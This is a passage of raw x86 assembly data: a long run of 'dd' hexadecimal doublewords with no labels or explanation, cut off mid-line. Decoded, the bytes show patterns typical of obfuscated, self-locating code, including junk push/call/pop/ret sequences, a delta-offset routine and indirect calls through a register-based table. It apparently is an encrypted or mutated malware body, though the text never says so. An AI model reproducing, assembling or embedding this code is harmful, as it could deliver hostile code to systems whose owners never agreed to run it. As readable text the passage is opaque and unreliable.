423CC1B0h, 459CCD2Dh, 43A03940h dd 7D0C6DA0h, 8E9D9C6h, 70000000h, 9EFB55A8h, 5FE2A2DEh dd 1751858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 9F8DF1C3h, 6945172Ah, 13F59D89h dd 11E9061Fh, 0E2000000h, 0FEC4705Fh, 2E477F74h, 13C97CC5h dd 1BBA73C4h, 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 1D54C357h, 5805BC79h dd 0BD031133h, 61F1AF1h, 5320E380h, 2679BD89h, 0C75B061Fh dd 1F129185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 36F20339h, 94970C1Fh dd 9D8BBE2Ah, 61F08C1h, 2AED9D89h, 5CE9061Fh, 6AFFFFF3h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 36DDC351h, 711E190h, 0BD8BAA3Bh, 61F05B9h dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 6B85F6C3h, 8197AFC6h, 579BD8Bh, 858D061Fh dd 61F19BDh, 10E8h, 82097700h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh dd 21BD8B75h, 5F061F08h, 89D88B50h, 0BB662404h, 6A0B87h dd 14DD9D2Bh, 6A061Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 72C35040h, 8D01EDA4h, 61F310Dh, 4F6E858Dh dd 0B70F0623h, 5C083DEh, 39F78166h, 666050B1h, 8961C28Bh dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0D98C17C3h, 0E3C72C8Ah, 0DEBF0FFBh, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 31B723C3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0FEF23BC3h, 0D08AB59Ah, 6195FFFCh dd 6A061F01h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 6577C351h, 4B88BB06h, 0E99D3160h dd 61061F1Bh, 1F35BD8Bh, 8D8D061Fh, 622B1F2h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2BC35646h, 1AE22958h dd 58C0Fh, 81660000h, 0FF106BF7h, 19589D1h, 83061F0Fh dd 1F0EF5BDh, 850F0106h, 6Ah, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 29C35141h, 4901A1DBh, 0F00AD9Dh dd 684h, 0E5BD8900h, 6A061F13h, 9ACB8102h, 504B1A88h, 0E7FBBF56h dd 895F5036h, 0BD8B2404h, 61F00E9h, 2F5595FFh, 6A061Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 46E9E7C3h, 0E800000Eh, 0 dd 78ED815Dh, 6A06234Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 3BAC356h, 1F1219BDh dd 6AFE8A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 4B73C357h, 0B7DF8B66h, 0E4858DC6h dd 6A06228Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 2563C357h, 0E0D91h, 775BD8Bh dd 0B790061Fh, 6A9050B0h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 302BC357h, 4D599BA9h dd 0D9BD8BDFh, 0E9061F10h, 0Dh, 42AA63F6h, 289700DBh, 3453160h dd 35FF649Eh, 0 dd 6651FE8Ah, 645FDA8Bh, 2589h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7A0C3h, 0F53AEB03h dd 0F811E12h, 85FFDABFh, 61F1029h, 7DD9D8Bh, 0FF6A061Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E9C35646h dd 0DED5A203h, 1F4CAE2Fh, 7DB5FFC2h, 0BF061F15h, 6A5C73F3h dd 2AB9BD03h, 95FF061Fh, 61F1CEDh, 13FE9h, 0B0FC00h, 1B840Fh dd 0E9600000h, 0Eh, 0A5663AE2h, 33227E28h, 0FEF11163h dd 0F781441Fh, 1534709h, 8970E661h, 1F3011B5h, 8971E406h dd 1F2FED8Dh, 0F613C06h, 10383h, 0FA8B6600h, 89C8B60Fh dd 1F2C259Dh, 6BA06h, 6E80000h, 50000000h, 0A6B43F5Ah dd 0C7816616h, 895BD437h, 1F090195h, 8BC18B06h, 1F2EA1BDh dd 4E8C106h, 0F766FE8Bh, 0FD9589E2h, 2B061F0Fh, 0D18BFCC8h dd 2F259D8Bh, 860F061Fh, 0Bh, 5860Fh, 0AFBF0000h, 0E95DECD5h dd 6, 31C1BD23h, 858B061Fh, 61F3069h, 2DF1BD23h, 0C083061Fh dd 0EE907h, 35720000h, 0A465D20h, 0E545EB74h, 0FFFED19Dh dd 0E800C083h, 12h, 0AA11DA75h, 0E49B8E58h, 0C06716CFh dd 13F8F7DDh, 0BF0F4FC5h, 0D03B5FDEh, 16830Fh, 0BD8B0000h dd 61F1B99h, 4BE9h, 6E900h, 0DDE40000h, 0EE305AB3h, 2C298D8Bh dd 9D8B061Fh, 61F2CA5h, 66CF8B60h, 8361D08Bh, 840F01E1h dd 24h, 1B199529h, 0A583061Fh, 61F2C29h, 0DBD8BFEh, 89061F31h dd 1F306995h, 8F0F06h, 0E9000000h, 0 dd 0D2DAB58Dh, 0FA8B0622h, 0AE9h, 59051F00h, 310C6187h dd 6A410B59h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8D898BC0h, 61F24A1h, 1D4595FFh, 6A061Fh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 59D71C3h, 0E04B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1704h, 0C3504000h, 0E1DB69ABh, 83FE8B66h dd 8B66FCE1h, 8D89FCFEh, 61F1679h, 0D22BC02Bh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5AC35040h, 69892A11h dd 6E68B499h, 0ADF98B66h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 0B93BC351h, 7B0123CAh, 0F05AFE4h, 58Ah, 0CB816600h dd 0E9BBB6F0h, 6A2B7B09h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 0F095C357h, 3502C52Ch dd 880DB330h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 4EDDC352h, 0A02A9E2Fh dd 6A99D89h, 958B061Fh, 61F0B5Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 1BC35242h, 14622C3h, 0C5958980h dd 8B061F2Ah, 1F20C58Dh, 0B1C38006h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 9D895818h, 61F18A5h, 12B5B509h dd 0BD83061Fh, 61F078Dh, 7F840F00h, 52000000h, 9E1BD8Bh dd 0B85B061Fh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 94C35747h dd 6E9h, 1279DB00h, 8DADE21Ah, 1F4DB08Dh, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 9FB3F009h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0A41C37C3h, 2B5DBF67h, 0BD8340C1h dd 61F137Dh, 1F840F00h, 2B000004h, 1F23D5BDh, 7DBD8306h dd 1061F13h, 427840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0A82285C3h, 830DF317h dd 1F137DBDh, 860F0306h, 3C3h, 0B870FF5h, 60000000h, 2F95958Bh dd 8B66061Fh, 896061D3h, 1F0D619Dh, 0D3F38106h, 66650F2Fh dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0CB817FC3h, 37B94D1Bh, 6604E180h, 0DDB8E381h dd 840FC90Ah, 123h, 13C9B531h, 858B061Fh, 61F0DC1h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h, 9D8B7CBFh dd 61F08BDh, 2EC98533h, 7E9061Fh, 0D0000000h, 0CC8551B4h dd 0E950484Eh, 6, 853A9BF4h, 489D1A7h, 6A006A24h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 0A1E6C357h, 0FE1E39A6h, 71BD8B2Eh, 68061F16h, 1D9F1E52h dd 11E8h, 9EAF5700h, 0D9FD7FAAh, 3F373079h, 91BF3F0Bh dd 815B6987h, 1DAD2434h, 6A1D80h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0EAABBAC3h, 0F26F6351h dd 5766B78Ah, 68F0Fh, 8D010000h, 61F2C2Dh, 0FE95Fh, 0DCCF0000h dd 0A4BE8D56h, 49AAB8E9h, 0F6438E70h, 0E195FF24h, 6A061F2Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 2D18C350h, 0F91925DBh, 0B2558589h, 9D330622h dd 61F1FC1h, 1B0E9h, 4D858900h, 8B061F1Dh, 22B24D85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0EAEF3437h, 0BD8B0A8Dh, 61F19FDh, 6E9h, 0E2065A00h dd 0C7CFA161h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0F2C6C4F8h, 61BD8B9Bh dd 60061F03h, 19B1B589h, 9D2B061Fh, 61F19C5h, 51B58B61h dd 6A0622B2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 9A4DC356h, 0F1267722h, 8B01D065h dd 1F0A01BDh, 0FAB70F06h, 13A1858Bh, 85BF061Fh, 89616E8Bh dd 0A93DBB06h, 858B19B2h, 61F0DC1h, 0C5C3C781h, 4689380Bh dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0D3BC7F63h, 56A67417h, 0BD038067h, 61F1045h dd 13E950h, 89F60000h, 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh dd 54B2A13Ah, 243489ACh, 0D3816650h, 95F57ECh, 1F000D85h dd 4DB5FF06h, 6A0622B2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 32AAC352h, 0E356821h dd 95893E78h, 61F1A5Dh, 0AE822868h, 0E9525078h, 12h, 95D7B4BEh dd 0F2321588h, 7FBB2B6Fh, 3A219484h, 310F3123h, 6830Fh dd 850F0000h, 0 dd 3481585Ah, 0B181D724h, 0FABF0F78h, 0B255858Dh, 0BD290622h dd 61F2E99h, 52505090h, 0FD88B66h, 5A5B5031h, 9D8B9058h dd 61F08EDh, 2DE195FFh, 0BF0F061Fh, 6A61FEh, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0BB663CC3h dd 0E953654Fh, 9, 95C304D6h, 8EFE7ECCh, 85C75FA1h, 61F137Dh dd 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h dd 73C35646h, 0E2878490h, 587ABF66h, 0B255BD83h, 0F000622h dd 3684h, 21BD0300h, 0E9061F24h, 46h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 79C35040h, 29C16BDEh, 1F2B7D85h dd 859D8906h, 50061F30h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0B04E04C3h, 870FE4h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 8EEAC357h, 432FE995h, 0FF48F21h dd 0BD83DABFh, 61F137Dh, 86850F03h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 16B7C351h, 8B8A2C1Fh, 1F1B459Dh, 9E906h, 47D10000h dd 5F4A2B40h, 837AF828h, 22B255BDh, 840F0006h, 445h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E6C35242h, 0DE8h dd 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 0B5297FF7h, 61F146Dh dd 55B5FF5Fh, 890622B2h, 1F2089BDh, 0C995FF06h, 6A061F1Bh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0EC46C352h, 0B249B58Bh, 85890622h, 61F2E11h dd 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0DD8D0FC3h, 9CD81FA2h, 15B58966h dd 96061F14h, 0E8F0Fh, 52500000h, 645ADEBFh, 66310F04h dd 585ADA8Bh, 96F88A50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 9EC35545h, 8B52FA81h, 1F0F399Dh, 0B5FF5B06h dd 622B255h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Bh, 69C35242h, 2E687471h, 0FF596000h, 1F162195h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 7B858609h, 9589FCB8h, 61F0005h, 0B249B58Bh, 0B5890622h dd 61F0069h, 2FF1858Bh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 1BB482C3h, 868932B4h dd 0C4h, 18D58D89h, 958B061Fh, 61F0B5Dh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 16h, 0D8C35040h, 0BD8B0807h dd 61F2F85h, 6A04C283h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 4C5AC351h, 5C60DDEBh dd 2359BD89h, 0F381061Fh, 443FD393h, 0B3205089h, 97858D6Ah dd 8B0622C7h, 0B88689F8h, 80000000h, 6A3BE7h, 1674E381h dd 0B5FF2D9Dh, 622B255h, 78D0Fh, 880F0000h, 1, 0D58589FCh dd 0FF061F2Ah, 1F2F5595h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0C5BD027Dh dd 0EE86049h, 2A000000h, 63E52BE1h, 3686E823h, 117C2D4Bh dd 39B58954h, 58061F0Eh, 0F861F48Ah, 108B0F96h, 60000000h dd 5E9h, 3F88BF00h, 0B9669012h, 5061B665h, 6696D98Bh, 0FF1DB7BFh dd 22B255B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 459B099h, 95FF148Ch, 61F0E1Dh, 1971DB81h dd 0BD83466Ah, 61F2C0Dh, 52840F00h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0F873C352h, 0CE6FEF9Fh, 8BA81B18h, 1F11759Dh, 0A8BF5006h dd 895A1226h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 3483BCC3h, 55B5FF8Bh, 6A0622B2h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 6335C353h, 9D2380B3h, 61F2BE1h, 134995FFh dd 0D88B061Fh, 0FE8h, 4D20C500h, 6F0043C0h, 7A420349h dd 0ECFC79DDh, 0AE8h, 0AE31BB00h, 8DED703Eh, 8B5C7F43h dd 1F1D559Dh, 0FF5F5F06h, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0CD1565A4h dd 1B767E14h, 7595FF1Eh, 0F061F10h, 0BD83DFB7h, 61F0009h dd 79840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D3CEC350h, 0DE486089h dd 0E81A5E24h, 8, 0FBE029D6h, 0DD61067Bh, 2FBD9D09h, 8B5B061Fh dd 1F175185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1C04h, 0C3504000h, 429E17ADh, 3EF27B47h, 6195316Ch dd 0F061F30h, 0C6D9B7h, 0DC806000h, 95958908h, 61061F2Dh dd 129185C7h, 61Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 6BFA3BC3h, 6DCF818Dh dd 89D57C51h, 1F0CD18Dh, 0F308E906h, 6AFFFFh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 24B15EC3h dd 0E0EDD5EBh, 6AC18B1Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 8BC6C350h, 1F1671BDh dd 0BD858D06h, 0E9061F19h, 7, 44471557h, 50D71005h, 7A76BF66h dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 8F56C355h, 6A0D78D3h, 0B8CF8000h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 53AF02C3h, 0C0939CBh, 0D38166D9h, 0EF813DE9h dd 1C98D1B3h, 5F71858Dh, 0CEB30623h, 0E905C083h, 0Eh, 9200F079h dd 16A8DBAAh, 0B37AA0BAh, 89500089h, 6A2404h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 0BF99D0C3h dd 5A2E5D69h, 6AF7D780h, 0ADBD8B00h, 89061F18h, 1F1F99B5h dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 6B79C351h, 5B5297Ah, 0FF061F30h dd 1F016195h, 0EE806h, 98EB0000h, 0ABE1AA00h, 51E3E5ABh dd 0C3991E9Ah, 1B05BD8Bh, 8D5F061Fh, 22B1F28Dh, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 81664C79h, 0FF1243C3h, 0BD0B52D1h, 61F12D5h, 0F5BD835Bh dd 1061F0Eh, 6F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0FFE7A4C3h, 85893321h dd 61F318Dh, 0BA58D89h, 26A061Fh, 2D4DBD8Bh, 5090061Fh dd 0AE952h, 72750000h, 0FDA033B9h, 0AC4235C4h, 585A310Fh dd 7E950h, 3F850000h, 9F86B349h, 0E38190ADh, 3588EEFBh dd 19CDB589h dd 95FF061Fh, 61F2F55h, 42DCF6BBh, 0E4EE919h, 0E80000h dd 5D000000h, 5F7BED81h, 6A0623h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 5BF4D1C3h, 0B79F10DDh dd 0BF424665h, 50E6B38Fh, 0CD9D8B60h, 0F061F24h, 281h dd 61616000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0A3C35747h, 54D1D316h, 6F5CC845h, 0E4858DF5h, 6A06228Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8B12C353h, 1F12659Dh, 8F0F9006h, 14h, 5E95250h dd 0D000000h, 0F3771587h, 0BF66310Fh, 585A450Fh, 0A181BB50h dd 64902E41h, 35FFh, 89640000h, 25h, 8D9D0300h, 0FF061F30h dd 1F102985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0F87EBE87h, 0B5BDB240h, 0E98D3113h dd 6A061F0Ah, 15B5FFFFh, 6A061F1Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 4507C353h dd 4EC6D899h, 0A90D9E2h, 0ED95FFF8h, 0E9061F1Ch, 11Fh dd 0F6000B0h, 0C88BC7BFh, 0E970E661h, 14h, 0BF590DEAh dd 26CDBF0Bh, 146E4CEFh, 20829081h, 87471E20h, 0CF8071E4h dd 0F613C30h, 0EE83h, 89858900h, 0F061F11h, 9589C8B6h dd 61F2B85h, 6BAh, 0DA8B6600h, 13E9C18Bh, 16000000h, 7FC82EE0h dd 0EDCD644Bh, 0B5660A08h, 4770F80Eh, 0E8C14D39h, 7D858904h dd 66061F0Dh, 0C82BE2F7h, 2A659D29h, 0D18B061Fh, 6E9F8h dd 9D290000h, 61F08B1h, 721858Bh, 8B66061Fh, 7C083DFh dd 0DE9h, 0DA539000h, 2420660Fh, 84D9BE68h, 0C0838E3Eh dd 0FD03B00h, 2F83h, 0E7F3BF00h, 8B663C97h, 65E9F8h, 10E80000h dd 44000000h, 0E2912059h, 0A6AEE932h, 49058F38h, 0FED4079h dd 686h, 85BD8B00h, 5B061F12h, 27D8D8Bh, 870F061Fh, 6 dd 0EDBD01h, 0E183061Fh, 28840F01h, 89000000h, 1F0A8D9Dh dd 7DA58306h, 0FE061F02h, 0DFB70FF5h, 7219589h, 880F061Fh dd 6, 11999D29h, 0E9061Fh, 8D000000h, 22E2ECB5h, 0DE906h dd 3E720000h, 7085CDECh, 7DF90D8Ah, 8AB42C51h, 0F006ADAh dd 95FFFBBFh, 61F1D45h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 0D2C35343h, 0D2BDD19Ah, 0AAACFEACh, 3DEF81D5h dd 0B9229B7Ah, 963h, 0E183BCB7h, 419D89FCh, 0FC061F1Dh dd 2CC19D8Bh, 0B8061Fh, 66000000h, 8971D3BBh, 1F1B3DBDh dd 0BA06h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0C434FEC3h, 0E8FC6542h, 0Ch, 86068638h dd 12492C34h, 0BD09980Ah, 0AD5F0CB3h, 0E8D1C233h, 0E983D003h dd 6AF47504h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 677CC356h, 5751F656h, 5A35CC5Ah dd 2F4D9D03h, 870F061Fh, 6, 65DBD89h, 880D061Fh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 28D3C352h, 0AED0ACACh, 23798D89h, 7E9061Fh dd 0D7000000h, 5F4F2183h, 958B5787h, 61F0B5Dh, 396FBF66h dd 20C58D8Bh, 8166061Fh, 50B6EFD3h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 6A3D02FDh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 423CC353h, 10E8h, 0B5544100h, 12631EA4h dd 0DEA3234Ch, 29DD2A6Dh, 919D89FDh, 5F061F1Bh, 78DBD83h dd 0F00061Fh, 6F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0B802h, 8D8D0000h, 61F4DB0h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0B0C35242h dd 9D89FA7Eh, 61F0755h, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 8D4503C3h, 7B21B7ABh dd 137DBD83h, 0F00061Fh, 48A84h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 6D40F9C6h dd 0A559D8Bh, 0BD83061Fh, 61F137Dh, 73840F01h, 0E9000004h dd 14h, 0ECEE56AFh, 2E773A5Dh, 0A31ADD75h, 0A90AED07h dd 0D4D153FDh, 137DBD83h, 0F03061Fh, 41786h, 0AE800h, 0EF450000h dd 0ED34CDB5h, 0AE4AB809h, 19CD9589h, 605F061Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C35343h, 0DA761F0h dd 7E9h, 0AC7C00h, 3B42CA7Eh, 0B7D98C66h, 4E180EEh, 0D018D89h dd 0C90A061Fh, 160840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 117A0EC3h, 8B580BCAh dd 1F0DC185h, 3EC6BB06h, 9D8B1AC7h, 61F0CB5h, 2EC98533h dd 8166061Fh, 501859F7h, 52505250h, 8B66310Fh, 0F585ADEh dd 89585A31h, 8B0F2404h, 3, 6AFFB70Fh, 0C0BB6600h, 4E868h dd 3FF0000h, 9E8001Fh, 8D000000h, 16D04474h, 8E009C72h dd 9E95250h, 3000000h, 5D3FF9DFh, 0ECDDBF1Bh, 585A310Fh dd 0BF66505Bh, 448B36DEh, 60570424h, 8E9h, 5F7CD300h, 824E26AAh dd 8B5F617Eh, 7ABF6600h, 2444891Eh, 0FA8B6604h, 51006A58h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F032F306h, 8589A1C3h, 61F1F99h, 10A98D09h, 95FF061Fh dd 61F2DE1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E8C35040h, 7A19E9D7h, 89F559C2h, 22B25585h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 0BA1877D4h, 139C53D2h, 68F78166h, 1FCE923h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 48A6BEC3h, 384E7CD4h, 858BF967h, 622B24Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1EC35545h, 8B603327h dd 1F11E59Dh, 138F0F06h, 0E8000000h, 0Dh, 730CBB7Ah, 0F1392302h dd 0F70BF796h, 0C76159E6h, 1800h, 0FA8B6600h, 0B251B58Bh dd 6E80622h, 72000000h, 6622233Dh, 5BD98BDDh, 13A1858Bh dd 8A60061Fh, 5DB58BFCh, 61061F07h, 6A0689h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0EDE555C3h dd 0DFA4D4F0h, 8BF88B66h, 1F0DC185h, 6800F06h, 0B000000h dd 1F1EA9BDh, 4468906h, 68F0Fh, 9D2B0000h, 61F0E25h, 0DE95096h dd 0AD000000h, 358B96BDh, 0F698D1CFh, 4C45E053h, 4DB5FF96h dd 6A0622B2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 0BBB4C356h, 202870F6h, 4E8h, 1F03FF00h dd 7E900h, 81610000h, 0EB8EE85Bh, 0BB665067h, 448B0424h dd 8B660424h, 0E8008BFBh, 11h, 0C05149ADh, 0E7433527h dd 0C8EEFA94h, 0E06E60BFh, 44895F96h, 52500424h, 0AE9h dd 86B28B00h, 0F56EEF38h, 0FA9D1EEh, 8E96031h, 8D000000h dd 169B1099h, 0BFC62C9Bh, 264309F7h dd 58585A61h, 8DEAD380h, 22B25585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0C846BB64h dd 0A9286687h, 0B3901CA3h, 860F502Bh, 0Ah, 505B5260h, 5A310F52h dd 81906158h, 2A2B36EBh, 6D9D8B67h, 0FF061F16h, 1F2DE195h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 3C5073BAh, 0F1498DC3h, 8A618F06h, 7D85C7FDh dd 3061F13h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0A96AC351h, 5DB4D9Dh dd 0E9873A0Dh, 9, 0D74CE6E5h, 0B293A1FDh, 55BD839Eh, 622B2h dd 3A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 64D265C3h, 60AD14EAh, 890Fh, 8D230000h dd 61F0705h, 21E961h, 0BD290000h, 61F1A29h, 110C3050h dd 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 60C08B00h, 29D7B70Fh dd 1F2E7D95h, 66606106h, 9D09C88Bh, 61F122Dh, 7DBD8361h dd 3061F13h, 4B0850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 692F6FC3h, 0BD83E4F7h dd 622B255h, 83840F00h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 43A7C355h dd 0DDF04C19h, 8B66D167h, 55B5FFD8h, 660622B2h, 1FC5CF81h dd 1BC995FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0FEEE58C3h, 0B737387Eh, 0B58B640Dh dd 622B249h, 6870Fh, 9D8B0000h, 61F2D11h, 106C7h, 6A0001h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0FC75F7C3h, 0FD8AEDC8h, 24348950h, 0B85BF66h, 0B3BA6660h dd 6954B883h, 0FF61165Ch, 22B255B5h, 7D9D8B06h, 0FF061F18h dd 1F162195h, 51006A06h, 